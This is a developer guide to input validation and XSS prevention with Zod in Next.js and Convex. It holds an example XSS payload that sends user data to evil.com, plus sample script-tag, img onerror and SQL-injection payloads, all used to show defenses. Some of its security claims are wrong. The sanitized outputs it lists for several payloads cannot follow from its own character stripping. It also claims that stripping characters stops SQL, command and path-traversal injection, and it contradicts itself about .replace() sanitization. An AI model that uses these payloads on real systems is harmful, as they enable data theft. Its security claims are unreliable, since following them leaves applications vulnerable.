Input Validation & XSS Prevention

Input Validation & XSS Prevention

The Universal Truth of Web Security

Never trust user input. This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:

• SQL Injection - Equifax (147 million records)
• XSS - British Airways (380,000 transactions, £20M fine)
• Command Injection - Countless others

According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.

Understanding XSS (Cross-Site Scripting)

The Attack

Attacker enters in a bio field:

<script>
fetch('/​api/​user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</​script>

Without sanitization, when other users view this profile:

1. The script executes in their browsers
2. It steals their user data
3. Sends it to attacker's server
4. Victims never know they were compromised

Real-World XSS Consequences

British Airways (2018): XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.

MySpace Samy Worm (2005): XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.

Our Input Validation Architecture

Why Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.

Zod provides:

• ✅ Type-safe validation - TypeScript knows what's valid
• ✅ Composable schemas - Reuse validation logic
• ✅ Automatic transformation - Sanitization built-in
• ✅ Clear error messages - Helps users fix mistakes
• ✅ Runtime type checking - Catches issues in production

The Sanitization Strategy

We remove dangerous characters that enable XSS attacks:

• < - Prevents opening tags
• > - Prevents closing tags
• " - Prevents attribute injection
• & - Prevents HTML entity injection

Preserved:

• ' - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)

Why not remove all special characters? Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.

Industry Validation Approach

According to OWASP and NIST guidelines, the secure approach is:

1. Validate (check format/​type)
2. Sanitize (remove dangerous content)
3. Encode on output (escape when displaying)

We do all three:

• Zod validates format
• .transform() sanitizes
• React escapes output

Implementation Files

• lib/​validation.ts - 11 pre-built Zod schemas
• lib/​validateRequest.ts - Validation helper that formats errors

How to Use Input Validation

Basic Pattern

import { validateRequest } from '@/​lib/​validateRequest';
import { safeTextSchema } from '@/​lib/​validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}

Complete Secure API Route

// app/​api/​create-post/​route.ts
import { NextRequest, NextResponse } from 'next/​server';
import { withRateLimit } from '@/​lib/​withRateLimit';
import { withCsrf } from '@/​lib/​withCsrf';
import { validateRequest } from '@/​lib/​validateRequest';
import { createPostSchema } from '@/​lib/​validation';
import { handleApiError, handleUnauthorizedError } from '@/​lib/​errorHandler';
import { auth } from '@clerk/​nextjs/​server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};

Available Validation Schemas

All schemas are in lib/​validation.ts:

1. emailSchema

Use for: Email addresses

import { emailSchema } from '@/​lib/​validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase

Features:

• Valid email format required
• Normalized to lowercase
• Max 254 characters
• Trims whitespace

2. safeTextSchema

Use for: Short text fields (names, titles, subjects)

import { safeTextSchema } from '@/​lib/​validation';

const validation = validateRequest(safeTextSchema, inputText);

Features:

• Min 1, max 100 characters
• Removes: < > " &
• Preserves: ' (apostrophes)
• Trims whitespace

3. safeLongTextSchema

Use for: Long text (descriptions, bios, comments, messages)

import { safeLongTextSchema } from '@/​lib/​validation';

const validation = validateRequest(safeLongTextSchema, description);

Features:

• Min 1, max 5000 characters
• Same sanitization as safeTextSchema
• Suitable for textarea content

4. usernameSchema

Use for: Usernames, slugs, identifiers

import { usernameSchema } from '@/​lib/​validation';

const validation = validateRequest(usernameSchema, username);

Features:

• Alphanumeric + underscores + hyphens only
• Min 3, max 30 characters
• Lowercase only
• No spaces or special characters

5. urlSchema

Use for: Website URLs, link fields

import { urlSchema } from '@/​lib/​validation';

const validation = validateRequest(urlSchema, websiteUrl);

Features:

• Must be valid URL
• HTTPS only (security requirement)
• Max 2048 characters
• Validates protocol, domain

6. contactFormSchema

Use for: Complete contact forms

import { contactFormSchema } from '@/​lib/​validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;

Fields:

{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}

7. createPostSchema

Use for: User-generated blog posts, articles

import { createPostSchema } from '@/​lib/​validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;

Fields:

{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}

8. updateProfileSchema

Use for: Profile updates

import { updateProfileSchema } from '@/​lib/​validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;

Fields:

{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}

9. idSchema

Use for: Database IDs, reference fields

import { idSchema } from '@/​lib/​validation';

const validation = validateRequest(idSchema, itemId);

Features:

• Non-empty string
• Trims whitespace
• Use for validating ID parameters

10. positiveIntegerSchema

Use for: Counts, quantities, pagination

import { positiveIntegerSchema } from '@/​lib/​validation';

const validation = validateRequest(positiveIntegerSchema, quantity);

Features:

• Integer only
• Must be positive (> 0)
• No decimals

11. paginationSchema

Use for: Pagination parameters

import { paginationSchema } from '@/​lib/​validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;

Fields:

{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}

Creating Custom Schemas

Custom Schema Template

// lib/​validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/​g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;

Complex Schema Example

// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});

Conditional Validation

export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);

Frontend Validation

Client-Side Pre-validation

'use client';

import { useState } from 'react';
import { createPostSchema } from '@/​lib/​validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/​api/​posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/​json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</​span>}
      </​div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</​span>}
      </​div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</​span>}
      </​div>

      <button type="submit">Create Post</​button>
    </​form>
  );
}

Important: Client-side validation is for UX only. Always validate on the server - client-side validation can be bypassed.

Attack Scenarios & Protection

Attack 1: XSS via Comment

Attack:

POST /​api/​comment
{
  "content": "<script>alert(document.cookie)</​script>"
}

Protection:

const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless

Attack 2: SQL Injection Attempt

Attack:

POST /​api/​search
{
  "query": "'; DROP TABLE users; --"
}

Protection:

const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized

Note: Use parameterized queries in database layer for full SQL injection protection.

Attack 3: Buffer Overflow via Long Input

Attack:

POST /​api/​profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}

Protection:

const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing

Attack 4: Script Injection in Multiple Fields

Attack:

POST /​api/​contact
{
  "name": "<script>evil()</​script>",
  "email": "[email protected]",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}

Protection:

const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically

Testing Input Validation

Test XSS Sanitization

# Test XSS in title
curl -X POST http://localhost:3000/​api/​example-protected \
  -H "Content-Type: application/​json" \
  -H "X-CSRF-Token: <get-from-/​api/​csrf>" \
  -d '{"title": "<script>alert(1)</​script>"}'

# Expected: 200 OK, but title = "alert(1)"

Test Validation Errors

# Test too-long input
curl -X POST http://localhost:3000/​api/​example-protected \
  -H "Content-Type: application/​json" \
  -H "X-CSRF-Token: <get-from-/​api/​csrf>" \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }

Test Email Validation

# Test invalid email
curl -X POST http://localhost:3000/​api/​contact \
  -H "Content-Type: application/​json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }

Error Response Format

When validation fails, validateRequest() returns:

{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}

HTTP Status: 400 Bad Request

Common Validation Patterns

Pattern 1: Optional Fields

const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});

Pattern 2: Array Validation

const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});

Pattern 3: Enum Values

const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});

Pattern 4: Number Ranges

const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});

Pattern 5: Date Validation

const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});

Convex Integration

When using Convex, always validate inputs in mutations - never insert args directly into the database.

Basic Convex Validation Pattern

// convex/​posts.ts
import { mutation } from "./​_generated/​server";
import { createPostSchema } from "../​lib/​validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Multiple Field Validation in Convex

// convex/​items.ts
import { mutation } from "./​_generated/​server";
import { safeTextSchema, safeLongTextSchema } from "../​lib/​validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});

Anti-Pattern: Direct Args Insertion (NEVER DO THIS)

// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Why Convex Validation is Critical

1. Frontend validation can be bypassed - Attackers can call Convex mutations directly
2. Convex functions are your API - Treat them like API routes with full validation
3. Type-safety alone isn't enough - TypeScript types don't prevent XSS or validate lengths
4. Defense-in-depth - Even if Next.js API validates, Convex should validate too

What Input Validation Prevents

✅ Cross-site scripting (XSS) - Main protection ✅ SQL/​NoSQL injection - Length limits + sanitization ✅ Command injection - Removes dangerous characters ✅ Template injection - Sanitizes template syntax ✅ Path traversal - Validates paths, removes ../ ✅ Buffer overflow - Enforces length limits ✅ Type confusion - Enforces correct data types ✅ Business logic errors - Validates ranges, formats

Common Mistakes to Avoid

❌ DON'T skip validation "because it's an internal API" ❌ DON'T rely on client-side validation only ❌ DON'T use body.field directly without validation ❌ DON'T manually sanitize with .replace() - use Zod ❌ DON'T assume authentication = safe input ❌ DON'T forget to validate in Convex mutations

✅ DO validate ALL user input, even from authenticated users ✅ DO use pre-built schemas from lib/​validation.ts ✅ DO return detailed validation errors (helps UX) ✅ DO combine validation with rate limiting and CSRF ✅ DO validate in both API routes AND Convex mutations

References

• OWASP Input Validation Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
• OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
• Zod Documentation: https://zod.dev/
• OWASP Top 10 2021 - A03 Injection: https://owasp.org/Top10/A03_2021-Injection/

Next Steps

• For CSRF protection: Use csrf-protection skill
• For rate limiting: Use rate-limiting skill
• For secure error handling: Use error-handling skill
• For testing validation: Use security-testing skill